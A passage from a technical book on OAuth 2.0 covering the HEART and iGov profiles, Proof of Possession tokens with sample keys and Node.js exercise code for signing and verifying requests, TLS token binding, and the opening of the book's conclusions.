access by type of resource and general access target. This allows protected resources to 
determine the rights associated with an access token in a predictable manner, cleanly 
mapping HEART scope values to medical record information.

The HEART profile of UMA for FHIR defines a standard set of claims and permission 
scopes that can be used across different kinds of FHIR resources. These scopes are 
specific to individual resources and can provide guidance to policy engines on how to 
enforce them. HEART also defines in greater detail specific claims for users, organiza-
tions, and software, as well as how these claims can be used to request and grant access 
to protected resources. 

14.3	 International Government Assurance (iGov)
Just as HEART profiles security protocols for the healthcare sector, the International 
Government Assurance (iGov) working group of the OpenID Foundation9 seeks to 
define a set of profiles for use in government systems. The focus of iGov is largely on 
how federated identity systems, such as OpenID Connect, can be used to allow citizens 
and employees to interact with government systems. 

14.3.1	Why iGov matters to you

The iGov profiles will be built on OpenID Connect, which is of course built right on 
top of OAuth. The requirements set forth in these profiles will affect a large number 
of government systems and the systems that connect to them through these standard 
protocols. Governments have traditionally moved very slowly and lagged behind indus-
try in their adoption of new technology; governments are big enterprises, reluctant to 
change and cautious about taking risks. This makes their systems particularly sticky: 
once something is put into practice in a government system, it’s likely to be there for a 
long time. Even years from now, when OAuth 2.0 is a distant memory for most of the 
internet and we’ve all forgotten what the big deal about JSON and REST was, there’s a 
good chance that a government system will still be actively using this as a legacy proto-
col and require interface and upkeep. 

Governments also have a way of being large enough and important enough that 
whatever solution they decide on tends to set requirements for many others in unre-
lated spaces. Often, governments use this dominance and sway to dictate a requirement 

8 � https://www.hl7.org/fhir/
9 � One of your authors is also a founding member of this group. Small world, right?
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and have everyone react to it. The iGov approach is different, so far, in that the gov-
ernment stakeholders involved aren’t trying to define the technology being used but 
rather how it can be used for their use cases. This means that a keen OAuth developer 
will be able to watch this effort and learn about a special set of constraints and means 
around them. 

Finally, as with HEART, the core components of iGov are planned to be generally 
applicable outside of the government sector. In fact, the iGov working group is starting 
with the HEART mechanical specifications for OAuth and OpenID Connect as its base. 
As such, it’s possible that nongovernment systems will start offering iGov compliance 
and HEART compliance as features, because doing so would allow them to interact 
with both the constrained profiles as well as the rest of the general OAuth ecosystem. 
You may see these as requirements to your systems in the future, or some similar pro-
files that could be based on this work.

14.3.2	The future of iGov

The iGov working group is just getting started as of this book’s publication, but there 
are already key stakeholders from major governments around the world. There’s a 
lot that’s still unknown about iGov, including whether it will be successfully built and 
widely adopted. However, it’s going to be an important space to watch for the reasons 
listed here, and the OAuth practitioners reading this book could learn a lot from this 
effort. And if you work in the government and citizen identity space, it will likely be a 
good idea to get involved yourself.

14.4	 Summary
OAuth is a great foundation for building new protocols.

■■ UMA allows resource servers and authorization servers to be introduced together 
in a way that can be highly dynamic and user-driven across security domains.

■■ UMA adds new parties to the OAuth dance, most notably the requesting party, 
allowing true user-to-user sharing and delegation.

■■ HEART applies several open standards based on OAuth to the healthcare 
domain, profiling them to increase security and interoperability.

■■ HEART defines both mechanical and semantic profiles, allowing the lessons 
learned to reach beyond the healthcare domain and find wide applicability.

■■ iGov is in the formative stages of development, but it will define a set of profiles 
for government identity systems that could have far-reaching consequences.

We’ve been able to do a lot of things with OAuth and simple bearer tokens, but what if 
there were another option? In the next chapter, we’ll look at a snapshot of the ongoing 
work of Proof of Possession tokens.
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OAuth is a protocol that provides a powerful delegation mechanism on top of many 
different applications and APIs, and at the core of the OAuth protocol is the OAuth 
token. So far in this book, all of the tokens that we’ve used have been bearer tokens. 
As we covered in chapter 10, bearer tokens can be used by anyone who carries, or 
bears, them to the protected resource. This is an intentional design choice used in 
many systems, and they’re far and away the most used type of token in OAuth sys-
tems. In addition to the simplicity of using bearer tokens, there’s a simple reason for 
this prevalence: as of the publication of this book, these are the only kinds of tokens 
defined in a standard specification.1 

However, there are some efforts currently under way to move beyond bearer 
tokens. These efforts aren’t yet full standards, and the details of their implementa-
tion are sure to change between the time this book is published and the specifica-
tions are finalized. 

1 �� RFC 6750 https://tools.ietf.org/html/rfc6750

This chapter covers
■  ■ Why OAuth bearer tokens don’t fit all scenarios

■  ■ The proposed OAuth Proof of Possession (PoP) token type

■  ■ The proposed Transport Layer of Security (TLS) token-binding method

15	Beyond bearer tokens
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NOTICE  The concepts in this chapter reflect the current thinking of the community 
but probably do not reflect the final results of the specifications in question. Take 
everything you read here with a grain of salt, as much of what is written here is going 
to be outdated by the further development of the specifications being referenced.

What we’re covering here represents at least part of the current direction of the OAuth 
protocol, so let’s take a few moments to dig into the future.

15.1	 Why do we need more than bearer tokens?
Bearer tokens are remarkably simple to deal with, as they require no additional pro-
cessing or understanding on the part of the client. Recall from the discussions in chap-
ters 1 and 2 that OAuth 2.0 is designed to move the complexity away from the client 
wherever possible. With a bearer token, the client receives a token from the authori-
zation server and then presents that token exactly as is to the protected resource. In 
many ways, as far as the client is concerned, the bearer token is nothing more than a 
password that has been issued to the client for a specific resource. 

In many cases, we want to be able to move beyond this and have the client be able 
to prove that it’s in possession of something secret that is not sent across the wire. This 
ensures that even if a request is captured in transit, an attacker can’t reuse the token 
contained within because the attacker won’t have access to the secret as well.

Two main approaches are being considered as of the time of this writing: Proof of 
Possession (PoP) tokens, and Transport Layer Security (TLS) token binding. Each 
of these approaches has different attributes and we’ll consider them in the next few 
sections. 

15.2	 Proof of Possession (PoP) tokens
The OAuth working group in the Internet Engineering Task Force (IETF) has begun 
work on an alternative style of token known as Proof of Possession, or PoP. Instead of 
the token itself being a self-contained secret, as in a bearer token, a PoP token has two 
components: a token and a key (figure 15.1). With a PoP token, the client needs to be 
able to prove that it’s in possession of the key in addition to the token itself. Although 
the token is sent across the wire with the request, the key isn’t.

The token portion is in many ways analogous to the bearer token. The client doesn’t 
know or care what’s in this token, only knowing that it represents an access delegation 
to a protected resource. The client sends this part of the token without modification, 
as before.

The key portion of the token is used to create a cryptographic signature sent with 
the HTTP request. The client signs some part of the HTTP request before sending it 
over to the protected resource and includes the signature in the request, and this is 
the key used for that signature. To encode the key, the PoP system in OAuth uses the 
JSON Web Key (JWK) encoding that’s part of the JSON Object Signing and Encryption 
(JOSE) suite of specifications that we talked about back in chapter 11. JWK allows for 
both symmetric and asymmetric key types as well as cryptographic agility over time.
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There are a few different options in the PoP process, just like there are with bearer 
tokens. First, you need to get a token (figure 15.2). Then, you need to use the token 
(figure 15.3).

Now let’s take a look at the major steps of this process in greater detail.

15.2.1	Requesting and issuing a PoP token

To issue a PoP token, an authorization server needs to know the key to associate the 
token with. Depending on the type of client and the overall deployment environment, 
this key can be provided by the client or generated by the server. 

Table 15.1  Types of keys associated with PoP tokens

Provided By:

Client Server

Key Type:

Symmetric

Not generally a good idea, since the client 
could be choosing a weak secret, but 
possible for clients with a Trusted Platform 
Module or other mechanism capable of 
generating truly secure shared keys

Good for constrained 
clients or clients that 
can’t generate secure 
keys

Asymmetric

Good for clients that can generate secure 
keys, minimizes the knowledge of client’s 
private key; client registers public key only, 
server returns public key only

Good for clients that 
can’t generate secure 
keys; server generates 
key pair, returns key pair

Token:
Opaque to client 

Associated with scopes 
and RO Sent as is to PR

Key:
Known to client

Associated with token
Used to sign request

Figure 15.1  Two parts of the OAuth PoP token
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Figure 15.2  Obtaining an OAuth PoP token (and associated key)
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Figure 15.3  Using and verifying an OAuth PoP token
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In this example, the authorization server is generating an asymmetric key pair for the cli-
ent to use. The client’s request to the token endpoint is the same as before. The response 
contains an access_token field as it does with a bearer token, but the token_type field 
is set to PoP and the response contains an access_token_key field containing the key.

{

  "access_token": "8uyhgt6789049dafsdf234g3",

  "token_type": "PoP",

  "access_token_key": {
    "d": "RE8jjNu7p_fGUcY-aYzeWiQnzsTgIst6N4ljgUALSQmpDDlkziPO2dHcYLgZM28Hs8y 

QRXayDAdkv-qNJsXegJ8MlNuiv70GgRGTOecQqlHFbufTVsE480kkdD-zhdHy9-P9cyDzp 

bEFBOeBtUNX6Wxb3rO-ccXo3M63JZEFSULzkLihz9UUW1yYa4zWu7Nn229UrpPUC7PU7FS

g4j45BZJ_-mqRZ7gXJ0lObfPSMI79F1vMw2PpG6LOeHM9JWseSPwgEeiUWYIY1y7tUuNo5

dsuAVboWCiONO4CgK7FByZH7CA7etPZ6aek4N6Cgvs3u3C2sfUrZlGySdAZisQBAQ",

    "e": "AQAB",

    "n": "xaH4c1td1_yLhbmSVB6l-_W3Ei4wGFyMK_sPzn6glTwaGuE5_mEohdElgTQNsSnw7up 

NUx8kJnDuxNFcGVlua6cA5y88TB-27Q9IaeXPSKxSSDUv8n1lt_c6JnjJf8SbzLmVqosJ- 

aIu_ZCY8I0w1LIrnOeaFAe2-m9XVzQniR5XHxfAlhngoydqCW7NCgr2K8sXuxFp5lK5s- 

tkCsi2CnEfBMCOOLJE8iSjTEPdjoJKSNro_Q-pWWJDP74h41KIL4yryggdFd-8gi-E6uHE

wyKYi57cR8uLtspN5sU4110sQX7Z0Otb0pmEMbWyrs5BR3RY8ewajL8SN5UyA0P1XQ",

    "kty": "RSA",

    "kid": "tk-11234"

  },

  "alg": "RS256"
}

This JWK is an RSA key pair (as we saw back in chapter 11) that the client can use to 
sign its requests in the next step. Since this is an RSA key, the authorization server 
needs to store only the public component after it has generated the key pair, prevent-
ing attacks on the authorization server from obtaining private keying material.

In our example, the access token itself is a random string, though it could as eas-
ily be a JSON Web Token (JWT), as described in chapter 11. Importantly, the token 
remains opaque to the client, as it has throughout every other part of OAuth we’ve 
discussed so far.

15.2.2	Using a PoP token at a protected resource

The client now has both the token and the key and needs to send them to the pro-
tected resource in a way that the protected resource is able to verify that the client has 
control over the key associated with the token. 

To do this, the client creates a JSON object that contains, at a minimum, the access 
token. Optionally, the client can include or hash portions of the HTTP message to 
integrity protect the request on a per-message level in addition to the channel protec-
tion. The details of this are enumerated in the draft documents from the OAuth work-
ing group and are left as an exercise to the reader. In this simple example, we’re going 
to protect the HTTP method and host as well as adding a timestamp.

{

  "at": "8uyhgt6789049dafsdf234g3",

  "ts": 3165383,

  "http": { "v": "POST", "u": "locahost:9002" }

}
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The client then uses this JSON object as the payload of a JSON Web Signature (JWS) 
and signs it with the key associated with the token. This creates a JWS object like the 
following:

eyJhbGciOiJSUzI1NiJ9.eyJhdCI6ICI4dXloZ3Q2Nzg5MDQ5ZGFmc2RmMjM0ZzMiLCJ0cyI6IDMx 

NjUzODMsImh0dHAiOnsidiI6IlBPU1QiLCJ1IjoibG9jYWhvc3Q6OTAwMiJ9fQo.m2Na5CCbyt 

0bvmiWIgWB_yJ5ETsmrB5uB_hMu7a_bWqn8UoLZxadN8s9joIgfzVO9vl757DvMPFDiE2XWw1m 

rfIKn6Epqjb5xPXxqcSJEYoJ1bkbIP1UQpHy8VRpvMcM1JB3LzpLUfe6zhPBxnnO4axKgcQE8Sl 

gXGvGAsPqcct92Xb76G04q3cDnEx_hxXO8XnUl2pniKW2C2vY4b5Yyqu-mrXb6r2F4YkTkrkHH 

GoFH4w6phIRv3Ku8Gm1_MwhiIDAKPz3_1rRVP_jkID9R4osKZOeBRcosVEW3MoPqcEL2OXRrLh 

Yjj9XMdXo8ayjz_6BaRI0VUW3RDuWHP9Dmg

The client then sends this JWS object to the protected resource as part of its request. 
As with a bearer token, this can be sent as a query parameter, form parameter, or as an 
HTTP Authorization header. The latter is the most flexible and secure, and it’s the 
example we show here.

HTTP POST /foo

Host: example.org

Authorization: PoP eyJhbGciOiJSUzI1NiJ9.eyJhdCI6ICI4dXloZ3Q2Nzg5MDQ5...

Notice that the client doesn’t do any processing on the access token itself, nor does 
it have to understand the format or contents of the access token for this to work. As 
with bearer tokens, the access token remains opaque to the client. The only change 
that occurs is the way that the token is presented to the protected resource, using the 
associated key as proof.

15.2.3	Validating a PoP token request

At the protected resource, we’re going to receive a request like the one generated pre-
viously. We can easily parse the PoP request using any JOSE library to get the payload, 
and therefore get at the access token itself. To figure out what the access token is good 
for, in terms of which scopes it represents and which resource owner approved it, we 
have the same suite of options that apply to bearer tokens. Namely, we can look it up in 
a local database, parse some kind of structure in the access token itself, or use a service 
such as token introspection (discussed in chapter 11) to look it up. Each of these is 
more or less identical to the process used with bearer tokens, with one key difference.

Although we still need to know that our token came from the authorization server, 
we also need to know that the request came from the client who’s supposed to hold the 
key to the token. However we verify and validate the token at our protected resource, 
we also need to validate the signature used on the PoP request. To do that, we need 
access to the key associated with the token. As with validating the access token itself, 
we have several methods at our disposal for looking up the key, and they tend to be 
the same used for the token. Our authorization server could store both the token 
and the key in a shared database, giving our protected resource access to it. This was 
the common approach used with OAuth 1.0, in which tokens had both a public and 
key component. We could also use JOSE to wrap a key inside the access token itself, 
potentially even encrypting the key so that only certain protected resources can accept 
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certain tokens. Finally, we can use token introspection to call the authorization server 
and have it hand us back the key associated with a token. However we get the key, we 
can use it to validate the signature of the incoming request.

The protected resource performs the appropriate JWS signature validation depend-
ing on the type of key used and the signing mechanism employed by the client. The 
protected resource can check the host, port, path, and method in the signed object, 
if any of these are present, and compare them with the request made by the client. If 
any part of the HTTP message was hashed, such as query parameters or headers, then 
the protected resource also calculates those hash values and compares them with those 
included in the JWS payload. 

At this point, the protected resource knows that whoever made the HTTP request 
is in possession of not only the access token but also its associated signing key. This 
setup allows the OAuth client to prove possession of a secret without passing that secret 
across the wire to the protected resource. In the case in which the client generates its 
own key pair and the authorization server never sees it, this allows for minimization of 
private key information throughout the network.

15.3	 Implementing PoP token support
Now we’ll be adding PoP token support to our OAuth ecosystem, using the same code 
framework that we’ve used elsewhere in this book. Remember that because the speci-
fications in question are still in flux, there is no guarantee that the code from these 
exercises will match the final specification of OAuth PoP tokens, but we do think that 
this exercise will be useful in showing in a hands-on fashion how the architecture of 
such a system can work.

In our setup, the client will request an OAuth token in the usual fashion. The autho-
rization server will generate a token with a random value and associate it with a server-
generated key pair, which will be passed to the client. The authorization server will 
store the public key portion of this key pair alongside the token value and the other 
information we’ve stored in previous exercises, like scopes and client identifier. When 
the client calls our protected resource, it will create a signed message that includes the 
token and several parts of the HTTP request. That signed message will be included as 
a header in the HTTP request sent to the protected resource. The protected resource 
will parse the incoming headers and extract the access token from the signed message, 
sending the token value to the token introspection endpoint. The authorization server 
will then look up this access token and return the associated token data, including its 
public key, to the protected resource. The protected resource will then validate the 
signature of the incoming header, comparing its contents against the request. If every-
thing lines up, it returns the resource.

Sounds simple, right? Let’s get building.

15.3.1	 Issuing the token and keys

Open up ch-15-ex-1 for this section. We’ll be building PoP support into our exist-
ing infrastructure that so far has supported only bearer tokens. Our access tokens 
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themselves will still be random string values, but we’ll be generating and storing a key 
alongside them. 

Open up authorizationServer.js and find the code that generates the token 
in the token endpoint function. Previously, it created a random access token, saved it, 
and returned it. We’ll be adding in a key to this token. We’ve imported a library to help 
with generating these keys in JWK format, which we can then store and use throughout 
the application. Note that because of the nature of the library we’re using, you need to 
manage the key inside of a JavaScript callback function, whereas other platforms will 
likely generate and return a key directly.

if (code.authorizationEndpointRequest.client_id == clientId) {

	 keystore.generate('RSA', 2048).then(function(key) {

		  var access_token = randomstring.generate();

					   

		  var access_token_key = key.toJSON(true); 

		  var access_token_public_key = key.toJSON();

				  

		  var token_response = { access_token: access_token, access_token_key: 

access_token_key, token_type: 'PoP',  refresh_token: req.body.refresh_

token, scope: code.scope, alg: 'RS256' };

		  nosql.insert({ access_token: access_token, access_token_key: access_

token_public_key, client_id: clientId, scope: code.scope });

		  res.status(200).json(token_response);

		  console.log('Issued tokens for code %s', req.body.code);

				  

		  return;

	 });

	 return;

}

Note that because we’re using asymmetric keys, we don’t store the same thing we send 
to the client. We save the public key to the database alongside other token informa-
tion, such as its scopes and client ID. We return the public and private key pair as the 
access_token_key member of the JSON object, which makes the return from the 
token endpoint look something like the following structure:

HTTP 200 OK

Date: Fri, 31 Jul 2015 21:19:03 GMT

Content-type: application/json

{

	 "access_token": "987tghjkiu6trfghjuytrghj",

	 "access_token_key": {

		  "d": 

"l5zO96Jpij5xrccN7M56U4ytB3XTFYCjmSEkg8X20QgFrgp7TqfIFcrNh62JPzosfaaw9vx13Hg_

yNXK9PRMq-gbtdwS1_QHi-0Y5__TNgSx06VGRSpbS8JHVsc8sVQ3ajH-wQu4k0DlEGwlJ8pmHXYAQ 

prKa7RObLJHDVQ_uBtj-iCJUxqodMIY23c896PDFUBl-M1SsjXJQCNF1aMv2ZabePhE_m2xMeUX3 

LhOqXNT2W6C5rPyWRkvV_EtaBNdvOIxHUbXjR2Hrab5I-yIjI0yfPzBDlW2ODnK2hZirEyZPTP8vQ

VQCVtZe6lqnW533V6zQsH7HRdTytOY14ak8Q",

		  "e": "AQAB",
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		  "n": "ojoQ9oFh0b9wzkcT-3zWsUnlBmk2chQXkF9rjxwAg5qyRWh56sWZx8uvPhwqmi9r 

1rOYHgyibOwimGwNPGWsP7OG_6s9S3nMIVbz9GIztckai-O0DrLEF-oLbn3he4RV1_TV_p1FSl 

D6YkTUMVW4YpceXiWldDOnHHZVX0F2SB5VfWSU7Dj3fKvbwbQLudi1tDMpL_dXBsVDIkPxoCir 

7zTaVmSRudvsjfx_Z6d2QAClm2XnZo4xsfHX_HiCiDH3bp07y_3vPR0OksQ3tgeeyyoA8xlrPs 

AVved2nUknwIiq1eImbOhoG3e8alVgA87HlkiTu5sLGEwY5AghjRe8sw",

		  "kty": "RSA"

	 },

	 "alg": "RS256",

	 "scope": "foo bar",

	 "token_type": "PoP"

}

Note that we’ve also changed the token type from Bearer to PoP. One last thing we’ll 
need to do in the server for this exercise is to return the access token key from the 
introspection response, since we’ll be using token introspection to look up token 
details in a moment (see chapter 11 for more details). Add the following line to the 
introspection endpoint:

introspectionResponse.access_token_key = token.access_token_key;

An existing OAuth client won’t need to change much to parse this structure, as we’ll 
see in the next section.

15.3.2	Creating the signed header and sending it to the resource

We’re still working in ch-15-ex-1 for this section as well, but open up client.js this 
time. First, we need to help the client store the key. Since it’s coming back in the same 
structure as the access token value, you’ll want to first find the code that parses and 
stores the access token value. Right now, it looks like the following:

var body = JSON.parse(tokRes.getBody());

	

access_token = body.access_token;

if (body.refresh_token) {

	 refresh_token = body.refresh_token;

}

		

scope = body.scope;

The key is coming to us in JWK format, and our library can take in JWK-formatted keys 
natively. Consequently, we need to add one line to the previous section to pull the key 
value out and store it in a variable (key) alongside our access token. We’ll also store 
the intended algorithm. 

key = body.access_token_key;

alg = body.alg;

Next we need to use the key to call the protected resource. We’ll do this by creating 
a JWS object that contains a payload representing our request and signing it with the 
access token’s key that we were just issued. Find the code that sends over a bearer token 
currently. First, we’ll make a header and add the access token value and a timestamp 
to the payload.
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var header = { 'typ': 'PoP', 'alg': alg, 'kid': key.kid };

	

var payload = {};

payload.at = access_token;

payload.ts = Math.floor(Date.now() / 1000);

Next, we’ll add in some information about our intended request to the payload. This 
part of the specification is optional, but it’s a good idea to tie the access token to the 
HTTP request itself. Here we’re adding in a reference to the HTTP method, the host-
name, and the path. We’re choosing not to protect the headers or query parameters in 
this simple example, but you can add support for that as an advanced exercise.

payload.m = 'POST';

payload.u = 'localhost:9002';

payload.p = '/resource';

Now that we’ve got that body, we’ll go through the same steps we did in chapter 11 to 
create an object signed with JWS. We’re going to sign our payload with the key associ-
ated with the access token that we saved previously. 

var privateKey = jose.KEYUTIL.getKey(key);

var signed = jose.jws.JWS.sign(alg, JSON.stringify(header), 

JSON.stringify(payload), privateKey);

This is mechanically similar to what the authorization server did when it created a 
signed token in chapter 11, but you’ll see that we’re not creating a token here. In 
fact, we’re including the token inside of our signed object. Also, remember that we’re 
working inside the client right now, and the client doesn’t issue the token. What we’re 
doing is creating a signature that can be verified by the protected resource to prove 
that we, the client, are in possession of the right key. As we’ll see in the next section, 
this says nothing about what the included token is good for, or even if it’s valid at all. 

Finally, we’ll send this signed object in the authorization header of our request to 
the protected resource. Notice that instead of sending the access_token value using 
the Bearer authorization type, we’re now sending the signed object using the PoP 
authorization type. The access token is included inside of the signed value, protected 
by the signature, and doesn’t need to be sent separately. Otherwise, the mechanics of 
the request are the same as previously.

var headers = {

	 'Authorization': 'PoP ' + signed,

	 'Content-Type': 'application/x-www-form-urlencoded'

};

From here, the client deals with responses from the protected resource in the same 
way it used to do. Even though PoP tokens are more complex and require some extra 
work, as with bearer tokens, the burden on the client is minimal compared with the 
rest of the system. 

15.3.3	Parsing the header, introspecting the token, and validating the signature

We’re going to continue working in ch-15-ex-1 for this last section, but now we’re 
going to deal with the process after the client sends the token to the protected 
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resource. Open up protectedResource.js and find the getAccessToken function. 
The first thing we need to do is look for the PoP keyword instead of Bearer that we 
had previously. 

var auth = req.headers['authorization'];

var inToken = null;

if (auth && auth.toLowerCase().indexOf('pop') == 0) {

	 inToken = auth.slice('pop '.length);

} else if (req.body && req.body.pop_access_token) {

	 inToken = req.body.pop_access_token;

} else if (req.query && req.query.pop_access_token) {

	 inToken = req.query.pop_access_token

}

Now we need to parse the JWS structure, as we did in chapter 11. We split the string 
on the period (.) character and decode the header and payload. Once we have the 
payload as an object, we pull the access token value out of its at member.

var tokenParts = inToken.split('.');

var header = JSON.parse(base64url.decode(tokenParts[0]));

var payload = JSON.parse(base64url.decode(tokenParts[1]));

	

var at = payload.at;

Next, we need to look up the information about this access token, including its scopes 
and associated key. As with bearer tokens, we’ve got a few options here, including 
database lookup or parsing the at value as a JWT. For this exercise, we’ll be doing that 
lookup using token introspection, as we did in chapter 12. Our call to the token intro-
spection endpoint is nearly the same as previously, but instead of sending the inToken 
value (which is what we’ve parsed from the incoming request), we send the extracted 
at value.

var form_data = qs.stringify({

	 token: at

});

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

	 'Authorization': 'Basic ' + encodeClientCredentials(protectedResource.

resource_id, protectedResource.resource_secret)

};

var tokRes = request('POST', authServer.introspectionEndpoint, {	

	 body: form_data,

	 headers: headers

});

If the introspection response comes back positively and the token is marked as active, 
we can parse out the key and validate the signed object. Notice that we’re getting 
back only the public key, which prevents the protected resource from being able to 
generate a request based on this access token. This is a big advantage over bearer 
tokens, which a malicious protected resource could replay fairly easily. Our protected 
resource isn’t even trying to steal things, though, so we’re going to start by checking 
the signature.
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if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

	 var body = JSON.parse(tokRes.getBody());

	

	 var active = body.active;

	 if (active) {

			 

		  var pubKey = jose.KEYUTIL.getKey(body.access_token_key);

		  if (jose.jws.JWS.verify(inToken, pubKey, [header.alg])) {

Next, check the other portions of the signed object to make sure they match the 
incoming request.

if (!payload.m || payload.m == req.method) {

	 if (!payload.u || payload.u == 'localhost:9002') {

		  if (!payload.p || payload.p == req.path) {

If all of that passes, we add the token to the req object as we did earlier. The handler 
functions in our application will know to check these values for further processing, and 
we don’t have to modify the rest of the application.

req.access_token = { 

	 access_token: at,

	 scope: body.scope

};

The whole function looks like listing 16 in appendix B. At this point, we should have a 
fully functioning PoP system based on one take on the draft standards. It’s likely that the 
final specifications will vary from the implementation in our exercises, but it’s impos-
sible to say by how much at this point in time. Hopefully things will stabilize and we’ll 
see a workable, interoperable PoP system from the working group in the near future.

15.4	 TLS token binding
The TLS specification protects messages in transit by encrypting the transport channel 
over which they flow. This encryption is between two endpoints on the network, most 
commonly the web client making the request and the web server serving the response. 
Token binding is a method that allows information from TLS to be used inside applica-
tion layer protocols such as HTTP and those that run on top of HTTP such as OAuth. 
This information can be compared across layers to ensure that the same components 
are speaking as they need to be.

The premise of token binding over HTTPS is relatively simple: when the HTTP cli-
ent makes its TLS connection to the HTTP server, the client includes a public key (the 
token-binding identifier) in the HTTP headers and proves that it possesses the associ-
ated private key. When the server issues its token, the token is bound to this identifier. 
When the client later connects to the server, it signs this identifier with its correspond-
ing private key and passes this in the TLS headers. The server is then able to verify 
the signature and ensure the client presenting the bound token is the same one that 
presented the original ephemeral key pair. Token binding was originally conceived to 
be used with things such as browser cookies, where the use is pretty straightforward, 
since all interactions are happening over a single channel (figure 15.4).
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Token binding requires access to the TLS layer, and it tends to be difficult to use when 
a TLS terminator (such as an Apache HTTPD Reverse Proxy) is used. It’s also not the 
same as using mutual TLS authentication, in which the identities of the certificates 
used in the TLS transaction are verified and validated on both ends. Still, the token-
binding approach allows an application to make more direct use of information that’s 
already available to the TLS system to enhance security. As token-binding capabilities 
are built into TLS middleware libraries, it will become transparently available to appli-
cations of all stripes.

For an OAuth system, this works out very well for managing the connections 
between the resource owner’s browser and either the client or authorization server. 
This is also fine for refresh tokens, which pass between the client and authorization 
server. Access tokens, though, become problematic: the HTTP server that issues the 
token (the authorization server) and the HTTP server that receives the token (the pro-
tected resource) are often different from each other, requiring different TLS connec-
tions from the client. If we assume a web client and token introspection, then count 
the possible connections between all components, we end up with no less than five 
different TLS channels (figure 15.5).

Resource
Owner Authorization

Server

Use TLS Channel ABC 

Here’s a cookie,
only use it on TLS

Channel ABC

 

Here’s that cookie
again, this is TLS

Channel ABC

Figure 15.4  TLS token binding on a browser cookie

Licensed to Hans Otten <hans.otten@autodata.net>



296	 Chapter 15  Beyond bearer tokens

1	 Resource owner’s browser to authorization server’s authorization endpoint
2	 Resource owner’s browser to the client
3	 Client to the authorization server’s token endpoint
4	 Client to the protected resource
5	 Protected resource to the authorization server’s introspection endpoint

In a simple token-binding setup, each of these channels would receive different token-
binding identifiers. The token-binding protocol deals with this dichotomy by allowing 
a client to choose to send the identifier of one connection over another, thereby con-
sciously bridging the gap between these two otherwise separate connections. In other 
words, the client says, “I’m talking to you on channel 3, but I’m going to be using this 
token on channel 4, so bind the token to that.” This becomes even more complicated 
when there are additional protected resources, since each connection between the cli-
ent and an additional resource will constitute a different TLS channel.

In essence, when the client makes the request to the authorization server to get 
the OAuth token, it includes the token-binding identifier for the connection to the 
protected resource. The authorization server binds the issued token to this identifier 
instead of the identifier used for the connection between the client and authorization 
server. When the client later makes a call to the protected resource with this token, the 
protected resource verifies that the identifier used on the TLS connection is the one 
associated with the token. 

Resource
Owner Authorization

Server

Protected
Resource

Client

1

2 3

4

5

Figure 15.5  Different TLS channels in a typical OAuth ecosystem
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This approach requires the client to actively manage mappings between authoriza-
tion servers and protected resources, but many OAuth clients do this anyway to avoid 
sending any token to the wrong protected resource. Token binding can be used with 
both bearer tokens and PoP tokens, where it adds an additional layer of confirmation 
beyond possession of the token itself and even any associated token keys.

15.5	 Summary
OAuth bearer tokens provide simple and robust functionality, but it’s valuable to move 
beyond them for some use cases.

■■ PoP tokens are associated with a key known to the client.
■■ The client signs an HTTP request with the PoP key and sends it to the protected 

resource.
■■ The protected resource verifies the signature along with the access token itself.
■■ TLS token binding can bridge the layers of the network stack to allow for higher 

assurance in the connection.

You’re almost at the end of the book. We’ve now covered OAuth from end to end, 
front to back, and past to future. Read on as we wrap up this journey with our summary 
and conclusions.
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Congratulations, you made it all the way through this book! We hope you have 
enjoyed reading it as much as we did writing it. We covered quite a lot of material 
on our trip, as OAuth isn’t a simplistic protocol and there are many moving pieces 
and a variety of ways to put them together. This seems daunting at first, but we hope 
that now that you’re armed with the knowledge of how everything works, you can 
see that it’s as simple as possible but no simpler. We hope that what you’ve learned 
while building all the moving pieces of OAuth with us will guide you in your future 
expeditions. In this final chapter, we’re going to take a few pages to talk about the 
bigger picture. 

16.1	 The right tool
OAuth is a powerful delegation protocol, but we know that you’re not using OAuth 
for its own sake. The “auth” in OAuth stands for “authorization,” and nobody uses 
an authorization protocol unless they’re trying to authorize some kind of action. We 
know that you likely first had to use OAuth to do something else: something useful, 
something beautiful, something wonderful. OAuth is merely one of many tools at 
your disposal for solving a certain set of problems, whether protecting an API, build-
ing a client to access an API, or developing an overarching security architecture to 
tie a system together. As with all tools, it’s useful and important to understand how 

16	 Summary and conclusions
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those tools work and what they’re good for. After all, although it’s possible to drive a 
screw into a wall using a hammer, you’ll have much better luck with a screwdriver. We 
want you to be able to know when OAuth is a good fit for your problem and, just as 
important, when it’s not a good fit.

It’s our hope that this book has given you the kind of in-depth knowledge you’ll 
need to recognize when to reach for OAuth in the toolbox and how to apply it to 
your particular set of problems. We didn’t want this book to be merely a guide for the 
OAuth implementation at the leading internet providers, or even how to use a particu-
lar OAuth library. We believe there already exists plenty of documentation online for 
those kinds of focused queries. Instead, we wanted you to be so thoroughly familiar 
with OAuth by the end that you’ll be able to use it no matter what platform or applica-
tion you’re using it on.

We know that almost no one reading this book will implement an OAuth ecosystem 
from scratch, end to end. So why did we go through all the trouble? The text and exer-
cises in this book should leave you with a deep understanding and appreciation for the 
OAuth protocol and all of its attendant pieces, allowing you to see the data as it flows 
through the system. By building out an entire ecosystem from scratch, we hope you’ll 
have a better idea of what’s going on when your client sends out a request and gets 
back a peculiar response, or why clients are sending things to your resource server in 
ways that you didn’t quite expect. By working on the implementation from the other 
side, we hope you’ll be more tolerant and understanding of how things are built, but 
not so tolerant that you open up an inadvertent security hole. After all, by now it should 
be clear that the parts of the OAuth process are put there for good reason.

If instead of reading this entire book cover to cover you jumped into only the part 
that seemed most relevant to your immediate problem, we won’t judge you. In fact, 
that’s how we tend to treat big technical books like this one. However, now would be a 
great time to go back and look at other parts of the system. Are you building a client? 
Then go try to build out the authorization server. Are you working on an in-browser 
application? Check out the native application section. Are you working on an authen-
tication protocol like OpenID Connect? Go back and check out the guts of the OAuth 
protocol itself and get a feel for how that authentication information is carried across 
the network in OIDC.

16.2	 Making key decisions
As we’ve seen throughout the book, OAuth is a framework that’s full of options. Navigat-
ing these options is a little tricky, but we hope that by now you’ve got a good idea of what 
to do in this space. It’s our hope that you can also see the value in each of the different 
options provided by the OAuth framework and why those options were added. Instead 
of having a single protocol that doesn’t quite fit well to any of its major uses, OAuth 2.0 
gives us a bunch of pieces that we can use to do different things. We hope this book 
provides you with a means of deciding which pieces to apply and when to apply them. 
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We realize that it’s tempting to take shortcuts in this process, going with something 
that feels simpler instead of the options that are the best fit for your use case. After all, 
the implicit flow is simple, why not use that for everything and skip the authorization 
code nonsense? Or why bother the user at all when we can add a parameter to our API 
and have the client tell us which user it’s acting on behalf of? However, as we saw in the 
